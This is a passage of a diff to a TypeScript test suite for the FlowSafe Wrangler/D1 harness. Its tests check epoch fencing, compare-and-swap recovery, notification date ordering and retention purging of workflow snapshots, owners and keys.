+        });
+    }
+    expectP3Metrics(outcome.metrics);
+  });
+
+  it('FS8 P3 refuses a formerly exact Runtime after the next artifact activates', async () => {
+    const outcome = await result<P3RunResult>(
+      probe,
+      '/epoch-p3/run?phase=final&action=advance',
+    );
+    expectP3EpochRefusal(outcome.response, 'stale', 3);
+    expectP3RunRefused(outcome);
+  });
+
+  it('FS8 P3 keeps the missing Runtime epoch captured before host policy awaits', async () => {
+    const outcome = await result<P3RunResult>(
+      probe,
+      '/epoch-p3/run?phase=auth&epoch=missing&action=capture',
+    );
+    expectP3EpochRefusal(outcome.response, 'missing', 2);
+    expect(outcome.capturedEpoch).toBeNull();
+    expectP3RunRefused(outcome);
+  });
+
+  it('FS8 P3 keeps captured Runtime options while the provider waits', async () => {
+    const outcome = await result<P3RunResult>(
+      probe,
+      '/epoch-p3/run?phase=provider&action=capture',
+    );
+    expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe(
+      200,
+    );
+    expect(outcome.capturedEpoch).toBe(2);
+    expect(outcome.response.body.result).toEqual({ value: 'original' });
+    expect(outcome.effectsAfterRequest).toBe(1);
+    const snapshot = JSON.parse(String(outcome.after.snapshots[0]?.snapshot));
+    expect(snapshot.requestContext['flowsafe.runProvenance']).toMatchObject({
+      mutationEpoch: 2,
+      requestedBy: 'p3-owner',
+    });
+  });
+
+  it('FS8 P3 refuses a current Runtime start while draining', async () => {
+    const outcome = await result<P3RunResult>(
+      probe,
+      '/epoch-p3/run?closed=true',
+    );
+    expect(outcome.response.status).toBe(503);
+    expect(outcome.response.body.reason?.code).toBe('EXECUTION_FENCED');
+    expect(outcome.effects).toBe(0);
+    expect(outcome.after).toEqual(outcome.before);
+  });
+
+  it('FS8 P3 releases the original keyed claim after final-D1 epoch refusal', async () => {
+    const outcome = await result<P3RunResult>(
+      probe,
+      '/epoch-p3/run?phase=final&epoch=missing&action=activate&keyed=true',
+    );
+    expectP3EpochRefusal(outcome.response, 'missing', 1);
+    expect(outcome.effects).toBe(0);
+    expect(outcome.after.snapshots).toEqual([]);
+    expect(outcome.after.owners).toEqual(outcome.before.owners);
+    expect(
+      outcome.after.keys.find((row) => row.key === 'p3-key'),
+    ).toMatchObject({
+      key: 'p3-key',
+      state: 'reserved',
+      owner_id: 'p3-owner',
+      run_id: 'p3-run',
+      start_token: '',
+    });
+    expect(outcome.after.keys.filter((row) => row.key !== 'p3-key')).toEqual(
+      outcome.before.keys,
+    );
+    expect(outcome.activeAfterRequest).toBe(false);
+    expect(outcome.cachedAfterRequest).toBe(false);
+    expectP3Metrics(outcome.metrics);
+  });
+
+  it('FS8 P3 settles a current keyed Runtime execution', async () => {
+    const outcome = await result<P3RunResult>(
+      probe,
+      '/epoch-p3/run?keyed=true',
+    );
+    expect(outcome.response.status, JSON.stringify(outcome.response.body)).toBe(
+      200,
+    );
+    expect(outcome.effects).toBe(1);
+    expect(
+      outcome.after.keys.find((row) => row.key === 'p3-key'),
+    ).toMatchObject({
+      key: 'p3-key',
+      state: 'terminal',
+      owner_id: 'p3-owner',
+      run_id: 'p3-run',
+      start_token: expect.any(String),
+    });
+    expect(outcome.after.keys.filter((row) => row.key !== 'p3-key')).toEqual(
+      outcome.before.keys,
+    );
+    expectP3Metrics(outcome.metrics);
+  });
+
+  it('FS8 P3 converges a committed D1 CAS after response loss', async () => {
+    const outcome = await result<{
+      losses: number;
+      before: P3Fence;
+      afterCommit: P3Fence;
+      retry: P3Fence;
+      rawAfterCommit: unknown;
+      rawAfterRetry: unknown;
+      conflict: { code: string };
+      metrics: P3Metrics;
+    }>(probe, '/epoch-p3/cas-loss');
+    expect(outcome.losses).toBe(1);
+    expect(outcome.afterCommit).toMatchObject({
+      state: 'draining',
+      mutationEpoch: outcome.before.mutationEpoch + 1,
+      transitionRevision: outcome.before.transitionRevision + 1,
+      requireMutationEpoch: true,
+    });
+    expect(outcome.retry).toEqual(outcome.afterCommit);
+    expect(JSON.stringify(outcome.rawAfterRetry)).toBe(
+      JSON.stringify(outcome.rawAfterCommit),
+    );
+    expect(outcome.conflict.code).toBe('FENCE_CAS_CONFLICT');
+    expectP3Metrics({ cas: outcome.metrics });
   });
 
   it('boots the full spike and initializes D1ApprovalStore', async () => {
@@ -314,7 +1349,7 @@ describe.sequential('FlowSafe Wrangler test harness', () => {
       loserOwner?: unknown;
       claimWinners: number;
       claimTriggers: unknown[];
-      rollbackError: string;
+      rollbackError: { reason: { code: string }; cause: string };
       rollbackSchedule: { id: string };
       rollbackTriggers: unknown[];
       rollbackOwner: { kind: string; id: string };
@@ -322,7 +1357,7 @@ describe.sequential('FlowSafe Wrangler test harness', () => {
       deletedSchedule: null;
       deletedTriggers: unknown[];
       deletedOwner?: unknown;
-      ownerInsertError: string;
+      ownerInsertError: { reason: { code: string }; cause: string };
       ownerFailureSchedule: null;
       ownerFailureOwner?: unknown;
     }>(probe, '/schedule');
@@ -333,7 +1368,12 @@ describe.sequential('FlowSafe Wrangler test harness', () => {
     expect(outcome.loserOwner).toBeUndefined();
     expect(outcome.claimWinners).toBe(1);
     expect(outcome.claimTriggers).toHaveLength(1);
-    expect(outcome.rollbackError).toMatch(/injected owner delete failure/);
+    expect(outcome.rollbackError.reason).toEqual({
+      code: 'SCHEDULE_MUTATION_OUTCOME_UNKNOWN',
+    });
+    expect(outcome.rollbackError.cause).toMatch(
+      /injected owner delete failure/,
+    );
     expect(outcome.rollbackSchedule.id).toBe('schedule-rollback');
     expect(outcome.rollbackTriggers).toHaveLength(1);
     expect(outcome.rollbackOwner).toEqual({ kind: 'human', id: 'opal' });
@@ -341,7 +1381,12 @@ describe.sequential('FlowSafe Wrangler test harness', () => {
     expect(outcome.deletedSchedule).toBeNull();
     expect(outcome.deletedTriggers).toEqual([]);
     expect(outcome.deletedOwner).toBeUndefined();
-    expect(outcome.ownerInsertError).toMatch(/injected owner insert failure/);
+    expect(outcome.ownerInsertError.reason).toEqual({
+      code: 'SCHEDULE_MUTATION_OUTCOME_UNKNOWN',
+    });
+    expect(outcome.ownerInsertError.cause).toMatch(
+      /injected owner insert failure/,
+    );
     expect(outcome.ownerFailureSchedule).toBeNull();
     expect(outcome.ownerFailureOwner).toBeUndefined();
   });
@@ -374,6 +1419,149 @@ describe.sequential('FlowSafe Wrangler test harness', () => {
     expect(outcome.rollbackSummary).not.toBe('should-rollback');
   });
 
+  it('F5 notification chronology selects ordinary due cursors before future expanded years under limit 1', async () => {
+    const outcomes = await result<
+      Array<{ cursor: string; boundedIds: string[]; dueIds: string[] }>
+    >(probe, '/notification-chronology/future');
+    expect(outcomes).toEqual([
+      { cursor: 'deliverAt', boundedIds: ['due'], dueIds: ['due'] },
+      { cursor: 'summaryAt', boundedIds: ['due'], dueIds: ['due'] },
+    ]);
+  });
+
+  it('F5 notification chronology orders raw offsets and truncates fractions before the due limit', async () => {
+    const outcomes = await result<
+      Array<{
+        cursor: string;
+        boundedIds: string[];
+        due: Array<{ id: string; at: number | null }>;
+        rawCursor: { cursor: string } | null;
+      }>
+    >(probe, '/notification-chronology/offsets');
+    expect(outcomes).toEqual(
+      ['deliverAt', 'summaryAt'].map((cursor) => ({
+        cursor,
+        boundedIds: ['first'],
+        due: [
+          {
+            id: 'first',
+            at: new Date('2026-09-09T10:30:00.123Z').getTime(),
+          },
+          {
+            id: 'second',
+            at: new Date('2026-09-09T10:45:00.123Z').getTime(),
+          },
+          {
+            id: 'third',
+            at: new Date('2026-09-09T11:00:00.123Z').getTime(),
+          },
+        ],
+        rawCursor: { cursor: '2026-09-09T12:30:00.1239+02:00' },
+      })),
+    );
+  });
+
+  it('F5 notification chronology compares negative cycles and Date endpoints with millisecond precision', async () => {
+    const outcomes = await result<
+      Array<{
+        name: string;
+        boundedIds: string[];
+        due: Array<{
+          id: string;
+          deliverAt: number | null;
+          summaryAt: number | null;
+        }>;
+      }>
+    >(probe, '/notification-chronology/bounds');
+    expect(outcomes).toEqual(
+      [
+        {
+          name: 'negative',
+          past: new Date('-000800-01-01T00:00:00.001Z').getTime(),
+          equal: new Date('-000400-01-01T00:00:00.000Z').getTime(),
+        },
+        {
+          name: 'minimum',
+          past: -8_640_000_000_000_000,
+          equal: -8_639_999_999_999_999,
+        },
+        {
+          name: 'maximum',
+          past: 8_639_999_999_999_998,
+          equal: 8_639_999_999_999_999,
+        },
+      ].map((fixture) => ({
+        name: fixture.name,
+        boundedIds: ['past'],
+        due: [
+          { id: 'past', deliverAt: fixture.past, summaryAt: null },
+          { id: 'equal', deliverAt: null, summaryAt: fixture.equal },
+        ],
+      })),
+    );
+  });
+
+  it('F5 notification chronology lists updated instants across offsets and expanded years before the limit', async () => {
+    const outcome = await result<{
+      boundedIds: string[];
+      records: Array<{ id: string; updatedAt: number }>;
+    }>(probe, '/notification-chronology/list');
+    expect(outcome).toEqual({
+      boundedIds: ['maximum', 'expanded', 'ordinary'],
+      records: [
+        { id: 'maximum', updatedAt: 8_640_000_000_000_000 },
+        {
+          id: 'expanded',
+          updatedAt: new Date('+010000-01-01T00:00:00.000Z').getTime(),
+        },
+        {
+          id: 'ordinary',
+          updatedAt: new Date('2026-09-09T11:00:00.000Z').getTime(),
+        },
+        {
+          id: 'offset',
+          updatedAt: new Date('2026-09-09T10:30:00.000Z').getTime(),
+        },
+        {
+          id: 'negative',
+          updatedAt: new Date('-000001-01-01T00:00:00.000Z').getTime(),
+        },
+        { id: 'minimum', updatedAt: -8_640_000_000_000_000 },
+      ],
+    });
+  });
+
+  it('F5 notification chronology TTL preserves future receipts, cutoff equality and pending work', async () => {
+    const outcome = await result<{
+      purged: number;
+      after: Array<{ id: string; status: string; updatedAt: string }>;
+      futureSignalId: string | null;
+      repeated: number;
+    }>(probe, '/notification-chronology/ttl');
+    expect(outcome).toEqual({
+      purged: 1,
+      after: [
+        {
+          id: 'equal',
+          status: 'delivered',
+          updatedAt: '2026-09-09T10:00:00.000-0100',
+        },
+        {
+          id: 'future',
+          status: 'delivered',
+          updatedAt: '+010000-01-01T00:00:00.000Z',
+        },
+        {
+          id: 'pending',
+          status: 'pending',
+          updatedAt: '2020-01-01T00:00:00.000Z',
+        },
+      ],
+      futureSignalId: 'signal-future',
+      repeated: 0,
+    });
+  });
+
   it('preserves concurrent background workflow state and results in Mastra D1', async () => {
     const outcome = await result<{
       supportsConcurrentUpdates: boolean;
@@ -430,4 +1618,660 @@ describe.sequential('FlowSafe Wrangler test harness', () => {
       orphans: [],
     });
   });
+
+  it.each([
+    'generation',
+    'capsule',
+    'boolean',
+    'null',
+    'duplicate',
+    'legacy',
+    'eligibility',
+  ])('FS8 E retention preserves a held %s replacement and its owner/key while advancing', async (scenario) => {
+    const outcome = await result<HeldRetentionResult>(
+      probe,
+      `/retention-e/${scenario}`,
+    );
+    expect(outcome.error).toBeUndefined();
+    expect(outcome.purged).toBe(0);
+    expect(outcome.artifacts).toBe(1);
+    expect(outcome.intervened.snapshots).toHaveLength(1);
+    expect(outcome.after).toEqual(outcome.intervened);
+    expect(outcome.after.keys[0]).toMatchObject({
+      key: 'held-key',
+      state: 'started',
+      start_token: 'generation-one',
+    });
+    expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE);
+  });
+
+  it.each([
+    'initial',
+    'held',
+  ])('FS8 E retention preserves ambiguous eligibility at %s observation and deletes ordinary controls', async (phase) => {
+    const outcome = await result<{
+      cases: Array<{
+        variant: string;
+        runId: string;
+        snapshot: string;
+        sqlEligibility: { status: string; cleanup: number | null };
+      }>;
+      purged: number;
+      artifacts: string[];
+      advances: RetentionCursor[];
+      before: RetentionState;
+      after: RetentionState;
+      metrics: RetentionMetrics;
+    }>(probe, `/retention-e/duplicate-eligibility/${phase}`);
+    expect(outcome.cases.map(({ variant }) => variant)).toEqual([
+      'status',
+      'escaped-status',
+      'request-context',
+      'lifecycle',
+      'terminal',
+      'cleanup',
+      'success-control',
+      'cleanup-control',
+    ]);
+    const controls = new Set([
+      'e-retention-eligibility-success-control',
+      'e-retention-eligibility-cleanup-control',
+    ]);
+    for (const candidate of outcome.cases) {
+      const decoded = JSON.parse(candidate.snapshot);
+      expect(candidate.sqlEligibility).toEqual({
+        status:
+          candidate.variant === 'status' ||
+          candidate.variant === 'escaped-status' ||
+          candidate.variant === 'success-control'
+            ? 'success'
+            : 'cancelled',
+        cleanup: 1,
+      });
+      if (!controls.has(candidate.runId)) {
+        if (
+          candidate.variant === 'status' ||
+          candidate.variant === 'escaped-status'
+        )
+          expect(decoded.status).toBe('running');
+        else
+          expect(
+            decoded.requestContext['flowsafe.runLifecycle'].terminal
+              .cleanupCompletedAt,
+          ).toBeNull();
+      }
+      expect(decoded.requestContext['flowsafe.runProvenance'].startToken).toBe(
+        'generation-one',
+      );
+    }
+    const replacements = new Map(
+      outcome.cases.map(({ runId, snapshot }) => [runId, snapshot]),
+    );
+    expect(outcome.purged).toBe(controls.size);
+    expect(outcome.artifacts.slice().sort()).toEqual(
+      (phase === 'held'
+        ? outcome.cases.map(({ runId }) => runId)
+        : [...controls]
+      ).sort(),
+    );
+    expect(outcome.after).toEqual({
+      snapshots: outcome.before.snapshots
+        .filter(({ run_id }) => !controls.has(run_id))
+        .map((row) => ({
+          ...row,
+          snapshot: replacements.get(row.run_id),
+        })),
+      owners: outcome.before.owners.filter(
+        ({ resource_id }) => !controls.has(String(resource_id)),
+      ),
+      keys: outcome.before.keys
+        .filter(
+          ({ run_id, state }) =>
+            !controls.has(String(run_id)) || state === 'started',
+        )
+        .map((row) =>
+          controls.has(String(row.run_id))
+            ? { ...row, state: 'terminal', updated_at: RETENTION_NOW }
+            : row,
+        ),
+    });
+    expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE);
+    expect(outcome.metrics.statements).toBeLessThan(100);
+    expect(outcome.metrics.maxSqlBytes).toBeLessThanOrEqual(90_000);
+    expect(outcome.metrics.maxBindings).toBeLessThanOrEqual(100);
+  });
+
+  it.each([
+    { format: 'modern', phase: 'initial' },
+    { format: 'modern', phase: 'held' },
+    { format: 'legacy', phase: 'initial' },
+    { format: 'legacy', phase: 'held' },
+    { format: 'legacy', phase: 'reread' },
+  ])('FS8 E retention validates cleanup timestamps for $format snapshots at $phase observation', async ({
+    format,
+    phase,
+  }) => {
+    const outcome = await result<{
+      cases: Array<{
+        variant: string;
+        runId: string;
+        snapshot: string;
+        accepted: boolean;
+        sqlType: string;
+      }>;
+      purged: number;
+      artifacts: string[];
+      rawReads: string[];
+      advances: RetentionCursor[];
+      before: RetentionState;
+      after: RetentionState;
+      metrics: RetentionMetrics;
+    }>(probe, `/retention-e/cleanup-time-${format}/${phase}`);
+    expect(outcome.cases.map(({ variant }) => variant)).toEqual([
+      'boolean',
+      'string',
+      'object',
+      'negative',
+      'fractional',
+      'unsafe',
+      'infinite',
+      'zero-control',
+      'real-control',
+      'exponent-control',
+      'safe-max-control',
+    ]);
+    expect(
+      outcome.cases.map(
+        ({ snapshot }) =>
+          JSON.parse(snapshot).requestContext['flowsafe.runLifecycle'].terminal
+            .cleanupCompletedAt,
+      ),
+    ).toEqual([
+      false,
+      'done',
+      {},
+      -1,
+      0.5,
+      9007199254740992,
+      Number.POSITIVE_INFINITY,
+      0,
+      1,
+      1,
+      Number.MAX_SAFE_INTEGER,
+    ]);
+    expect(outcome.cases.map(({ sqlType }) => sqlType)).toEqual([
+      'false',
+      'text',
+      'object',
+      'integer',
+      'real',
+      'integer',
+      'real',
+      'integer',
+      'real',
+      'real',
+      'integer',
+    ]);
+    const controls = new Set([
+      'e-retention-time-zero-control',
+      'e-retention-time-real-control',
+      'e-retention-time-exponent-control',
+      'e-retention-time-safe-max-control',
+    ]);
+    for (const candidate of outcome.cases)
+      expect(candidate.accepted).toBe(controls.has(candidate.runId));
+    const runIds = outcome.cases.map(({ runId }) => runId);
+    expect(outcome.purged).toBe(controls.size);
+    expect(outcome.artifacts.slice().sort()).toEqual(
+      (phase === 'held' ? runIds.slice() : [...controls]).sort(),
+    );
+    expect(outcome.rawReads.slice().sort()).toEqual(
+      (format === 'modern'
+        ? []
+        : phase === 'initial'
+          ? [...controls]
+          : runIds.slice()
+      ).sort(),
+    );
+    const replacements = new Map(
+      outcome.cases.map(({ runId, snapshot }) => [runId, snapshot]),
+    );
+    expect(outcome.after).toEqual({
+      snapshots: outcome.before.snapshots
+        .filter(({ run_id }) => !controls.has(run_id))
+        .map((row) => ({ ...row, snapshot: replacements.get(row.run_id) })),
+      owners: outcome.before.owners.filter(
+        ({ resource_id }) => !controls.has(String(resource_id)),
+      ),
+      keys: outcome.before.keys
+        .filter(
+          ({ run_id, state }) =>
+            !controls.has(String(run_id)) || state === 'started',
+        )
+        .map((row) =>
+          format === 'modern' && controls.has(String(row.run_id))
+            ? { ...row, state: 'terminal', updated_at: RETENTION_NOW }
+            : row,
+        ),
+    });
+    expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE);
+    expect(outcome.metrics.statements).toBeLessThan(100);
+    expect(outcome.metrics.maxSqlBytes).toBeLessThanOrEqual(90_000);
+    expect(outcome.metrics.maxBindings).toBeLessThanOrEqual(100);
+  });
+
+  it('FS8 E retention retries a changed namespace census and retains a malformed sibling owner', async () => {
+    const outcome = await result<HeldRetentionResult>(
+      probe,
+      '/retention-e/schema',
+    );
+    expect(outcome.error).toBeUndefined();
+    expect(outcome.purged).toBe(1);
+    expect(outcome.artifacts).toBe(1);
+    expect(outcome.after.snapshots).toEqual([]);
+    expect(outcome.after.owners).toEqual(outcome.intervened.owners);
+    expect(outcome.after.keys[0]).toMatchObject({
+      state: 'terminal',
+      updated_at: RETENTION_NOW,
+    });
+    expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE);
+    expect(outcome.metrics.batches).toBeGreaterThanOrEqual(2);
+    console.info(
+      'FS8 E retention schema-retry measurement',
+      JSON.stringify(outcome.metrics),
+    );
+  });
+
+  it('FS8 E retention pairs a reservation table created during the held artifact callback', async () => {
+    const outcome = await result<HeldRetentionResult>(
+      probe,
+      '/retention-e/reservation-schema',
+    );
+    expect(outcome.error).toBeUndefined();
+    expect(outcome.purged).toBe(1);
+    expect(outcome.artifacts).toBe(1);
+    expect(outcome.intervened.keys[0]?.state).toBe('started');
+    expect(outcome.after.keys).toEqual([
+      {
+        ...outcome.intervened.keys[0],
+        state: 'terminal',
+        updated_at: RETENTION_NOW,
+      },
+    ]);
+    expect(outcome.after.snapshots).toEqual([]);
+    expect(outcome.after.owners).toEqual([]);
+    expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE);
+  });
+
+  it.each([
+    'schema-churn',
+    'schema-view',
+  ])('FS8 E retention refuses %s without false progress or state loss', async (scenario) => {
+    const outcome = await result<HeldRetentionResult>(
+      probe,
+      `/retention-e/${scenario}`,
+    );
+    expect(outcome.error).toMatch(/schema|namespace|view/i);
+    expect(outcome.purged).toBeUndefined();
+    expect(outcome.artifacts).toBe(1);
+    expect(outcome.advances).toEqual([]);
+    expect(outcome.after).toEqual(outcome.intervened);
+  });
+
+  it.each([
+    'purge-first',
+    'admission-first',
+  ])('FS8 E retention orders %s against actual reused committed-owner admission', async (order) => {
+    const outcome = await result<{
+      claimed: boolean;
+      reserved: boolean;
+      beforeOwner: { owner_id: string; reservation_token: string | null };
+      purged: number;
+      advances: RetentionCursor[];
+      admission: {
+        reason?: { code: string; classification: string };
+        execution?: { startToken: string };
+      };
+      definitive: boolean;
+      owner: { kind: string; id: string } | null;
+      snapshots: Array<{
+        workflow_name: string;
+        run_id: string;
+        snapshot: string;
+      }>;
+    }>(probe, `/retention-e/${order}`);
+    expect(outcome.claimed).toBe(true);
+    expect(outcome.reserved).toBe(true);
+    expect(outcome.beforeOwner).toEqual({
+      owner_id: 'Resource owner',
+      reservation_token: null,
+    });
+    expect(outcome.purged).toBe(1);
+    expect(outcome.advances.at(-1)).toEqual({
+      version: 1,
+      tablePrefix: 'e_retention_',
+    });
+    if (order === 'purge-first') {
+      expect(outcome.admission.reason).toEqual({
+        code: 'RUN_ADMISSION_CONFLICT',
+        classification: 'run-owner-changed',
+      });
+      expect(outcome.definitive).toBe(true);
+      expect(outcome.owner).toBeNull();
+      expect(outcome.snapshots).toEqual([]);
+    } else {
+      expect(outcome.admission.execution?.startToken).toBe('new-generation');
+      expect(outcome.definitive).toBe(false);
+      expect(outcome.owner).toEqual({ kind: 'human', id: 'Resource owner' });
+      expect(outcome.snapshots).toHaveLength(1);
+      expect(outcome.snapshots[0]).toMatchObject({
+        workflow_name: 'new-physical-workflow',
+        run_id: 'e-retention-reused',
+      });
+      expect(JSON.parse(outcome.snapshots[0]?.snapshot ?? '{}')).toMatchObject({
+        status: 'pending',
+        requestContext: {
+          'flowsafe.runProvenance': {
+            startToken: 'new-generation',
+            startIdentity: { owner: { id: 'Initiating principal' } },
+          },
+        },
+      });
+    }
+  });
+
+  it('FS8 E retention preserves reserved owners and cross-workflow/malformed cross-namespace siblings', async () => {
+    const outcome = await result<{
+      purged: number;
+      owners: Array<Record<string, unknown>>;
+      snapshots: Array<Record<string, unknown>>;
+      sibling: Array<Record<string, unknown>>;
+    }>(probe, '/retention-e/siblings');
+    expect(outcome.purged).toBe(4);
+    expect(outcome.owners).toEqual([
+      {
+        resource_id: 'e-retention-cross-workflow',
+        owner_id: 'Resource owner',
+        reservation_token: null,
+      },
+      {
+        resource_id: 'e-retention-malformed-sibling',
+        owner_id: 'Resource owner',
+        reservation_token: null,
+      },
+      {
+        resource_id: 'e-retention-reserved',
+        owner_id: 'Resource owner',
+        reservation_token: 'held-reservation',
+      },
+    ]);
+    expect(outcome.snapshots).toEqual([
+      { workflow_name: 'other-workflow', run_id: 'e-retention-cross-workflow' },
+    ]);
+    expect(outcome.sibling).toEqual([
+      { run_id: 'e-retention-malformed-sibling', snapshot: '{not-json' },
+    ]);
+  });
+
+  it('FS8 E retention pairs full bound aliases while preserving mismatches, legacy, unbound and null namespaces', async () => {
+    const outcome = await result<{
+      purged: number;
+      advances: RetentionCursor[];
+      before: RetentionState;
+      after: RetentionState;
+    }>(probe, '/retention-e/bindings');
+    expect(outcome.purged).toBe(1);
+    expect(outcome.after.snapshots).toEqual([]);
+    expect(outcome.after.owners).toEqual([]);
+    expect(outcome.after.keys).toEqual(
+      outcome.before.keys
+        .filter(({ key }) => key !== 'alias-expired')
+        .map((row) =>
+          row.key === 'alias-started'
+            ? { ...row, state: 'terminal', updated_at: RETENTION_NOW }
+            : row,
+        ),
+    );
+    expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE);
+  });
+
+  it.each([
+    0, 1, 2,
+  ])('FS8 E retention handles stage %i legacy orphans conservatively', async (stage) => {
+    const outcome = await result<{
+      purged: number;
+      advances: RetentionCursor[];
+      before: RetentionState['keys'];
+      keys: RetentionState['keys'];
+    }>(probe, `/retention-e/partial-${stage}`);
+    expect(outcome.purged).toBe(0);
+    expect(outcome.keys).toEqual(
+      outcome.before.filter(({ key }) => key !== 'legacy-orphan'),
+    );
+    expect(outcome.keys.some(({ key }) => key === 'legacy-present')).toBe(true);
+    if (stage > 0)
+      expect(outcome.keys.some(({ key }) => key === 'partial-nonnull')).toBe(
+        true,
+      );
+    expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE);
+  });
+
+  it('FS8 E retention expires an orphan without a configured snapshot table', async () => {
+    const outcome = await result<{
+      purged: number;
+      advances: RetentionCursor[];
+      keys: unknown[];
+    }>(probe, '/retention-e/orphan-absent');
+    expect(outcome.purged).toBe(0);
+    expect(outcome.keys).toEqual([]);
+    expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE);
+  });
+
+  it('FS8 E retention rechecks held orphan generation observations before expiry', async () => {
+    const outcome = await result<{
+      first: number;
+      second: number;
+      held: number;
+      heldKeys: RetentionState['keys'];
+      keys: unknown[];
+      snapshot: { snapshot: string };
+    }>(probe, '/retention-e/orphan-replacement');
+    expect(outcome.first).toBe(0);
+    expect(outcome.held).toBe(1);
+    expect(outcome.heldKeys).toHaveLength(1);
+    expect(outcome.heldKeys[0]).toMatchObject({
+      key: 'orphan-key',
+      state: 'terminal',
+      start_token: 'generation-one',
+      updated_at: RETENTION_NOW - 8 * 86400_000,
+    });
+    expect(outcome.second).toBe(0);
+    expect(outcome.keys).toEqual([]);
+    expect(JSON.parse(outcome.snapshot.snapshot)).toMatchObject({
+      status: 'running',
+      requestContext: {
+        'flowsafe.runProvenance': { startToken: 'generation-two' },
+      },
+    });
+  });
+
+  it('FS8 E retention enforces capsule bytes and UTF16 units while accepting long safe registry names', async () => {
+    const outcome = await result<{
+      purged: number;
+      advances: RetentionCursor[];
+      artifacts: string[];
+      registryLength: number;
+      remainingKeyLengths: Array<{ length: number }>;
+      remaining: Array<{ run_id: string }>;
+    }>(probe, '/retention-e/limits');
+    expect(outcome.registryLength).toBeGreaterThan(63);
+    expect(outcome.remainingKeyLengths).toEqual([{ length: 4096 }]);
+    expect(outcome.purged).toBe(2);
+    expect(outcome.artifacts.sort()).toEqual([
+      'e-retention-capsule-boundary',
+      'e-retention-unpaired-legacy',
+    ]);
+    expect(outcome.remaining).toEqual([
+      { run_id: 'e-retention-capsule-overflow' },
+      { run_id: 'e-retention-utf16-overflow' },
+    ]);
+    expect(outcome.advances.at(-1)?.snapshots).toBeUndefined();
+    expect(outcome.advances.at(-1)?.reservations).toBeUndefined();
+  });
+
+  it('FS8 E retention reconstructs finite progress beyond oversize and artifact failures despite new inserts', async () => {
+    const outcome = await result<{
+      pages: Array<{
+        purged?: number;
+        error?: string;
+        cursor: RetentionCursor;
+      }>;
+      artifactFailures: number;
+      afterFirstCycle: Array<{ run_id: string }>;
+      remainingEligible: unknown[];
+    }>(probe, '/retention-e/progress');
+    expect(outcome.pages.map(({ purged }) => purged)).toEqual([
+      0,
+      undefined,
+      0,
+      2,
+    ]);
+    expect(outcome.pages.map(({ error }) => error)).toEqual([
+      undefined,
+      expect.stringMatching(/artifact deletion failed \(unreadable error\)/),
+      undefined,
+      undefined,
+    ]);
+    expect(outcome.pages[0]?.cursor.snapshots).toEqual({
+      afterRowId: 90,
+      highWaterRowId: 93,
+    });
+    expect(outcome.pages[1]?.cursor.snapshots).toBeUndefined();
+    expect(outcome.pages[2]?.cursor.snapshots).toEqual({
+      afterRowId: 90,
+      highWaterRowId: 94,
+    });
+    expect(outcome.pages[3]?.cursor.snapshots).toBeUndefined();
+    expect(outcome.artifactFailures).toBe(1);
+    expect(outcome.afterFirstCycle).toEqual([
+      { run_id: 'e-retention-progress-91' },
+      { run_id: 'e-retention-progress-new' },
+    ]);
+    expect(outcome.remainingEligible).toEqual([]);
+  });
+
+  it.each([
+    { mode: 'modern', retry: false },
+    { mode: 'legacy', retry: false },
+    { mode: 'modern', retry: true },
+  ])('FS8 E retention measures real D1 maximum namespaces and $mode pages (retry $retry) with large payloads', async ({
+    mode,
+    retry,
+  }) => {
+    try {
+      const setup = await result<{
+        namespaces: number;
+        preexistingNamespaces: number;
+        createdNamespaces: number;
+        rows: number;
+        maxSnapshotBytes: number;
+        capsuleBytes: number | null;
+        ownerUtf16Units: number | null;
+      }>(probe, `/retention-e/maximum-${mode}/setup`);
+      expect(setup.namespaces).toBe(64);
+      expect(setup.preexistingNamespaces + setup.createdNamespaces).toBe(64);
+      expect(setup.rows).toBe(90);
+      expect(setup.maxSnapshotBytes).toBeGreaterThan(1_900_000);
+      if (mode === 'modern') {
+        expect(setup.capsuleBytes).toBe(4096);
+        expect(setup.ownerUtf16Units).toBe(200);
+        const overflow = await result<{
+          error?: string;
+          artifacts: number;
+          advances: RetentionCursor[];
+          before: unknown;
+          after: unknown;
+        }>(probe, '/retention-e/maximum-modern/overflow');
+        expect(overflow.error).toMatch(/namespace|64/i);
+        expect(overflow.artifacts).toBe(0);
+        expect(overflow.advances).toEqual([]);
+        expect(overflow.after).toEqual(overflow.before);
+      }
+      const outcome = await result<{
+        purged?: number;
+        error?: string;
+        artifacts: number;
+        advances: RetentionCursor[];
+        metrics: RetentionMetrics;
+        elapsedMs: number;
+        snapshots: { count: number };
+        census: { count: number };
+        keys: Array<{ key: string; state: string; updated_at: number }>;
+        owners: Array<{ resource_id: string; owner_id: string }>;
+      }>(
+        probe,
+        `/retention-e/maximum-${mode}/${retry ? 'exercise-retry' : 'exercise'}`,
+      );
+      console.info(
+        `FS8 E retention maximum-${mode}${retry ? '-retry' : ''} measurement`,
+        JSON.stringify({
+          setup,
+          metrics: outcome.metrics,
+          elapsedMs: outcome.elapsedMs,
+        }),
+      );
+      expect(outcome.error).toBeUndefined();
+      expect(outcome.artifacts).toBe(retry ? 90 : 0);
+      expect(outcome.purged).toBe(90);
+      expect(outcome.snapshots.count).toBe(0);
+      expect(outcome.census.count).toBe(64);
+      expect(outcome.owners).toEqual([
+        {
+          resource_id: 'e-retention-089'.padEnd(200, 'r'),
+          owner_id: 'Resource owner',
+        },
+      ]);
+      expect(outcome.keys).toEqual(
+        mode === 'modern'
+          ? Array.from({ length: 90 }, (_, index) => ({
+              key: `alias-${String(index).padStart(3, '0')}`,
+              state: 'terminal',
+              updated_at: RETENTION_NOW,
+            }))
+          : [],
+      );
+      expect(outcome.advances.at(-1)?.snapshots).toBeUndefined();
+      expect(outcome.advances.at(-1)?.reservations).toEqual(
+        mode === 'modern' ? { afterRowId: 90, highWaterRowId: 180 } : undefined,
+      );
+      for (const value of Object.values(outcome.metrics))
+        expect(Number.isFinite(value)).toBe(true);
+      expect(outcome.metrics.statements).toBeGreaterThan(90);
+      expect(outcome.metrics.statements).toBeLessThanOrEqual(1000);
+      expect(outcome.metrics.maxSqlBytes).toBeLessThanOrEqual(90_000);
+      expect(outcome.metrics.maxBindings).toBeLessThanOrEqual(100);
+      expect(outcome.metrics.maxSelectorBytes).toBeGreaterThan(0);
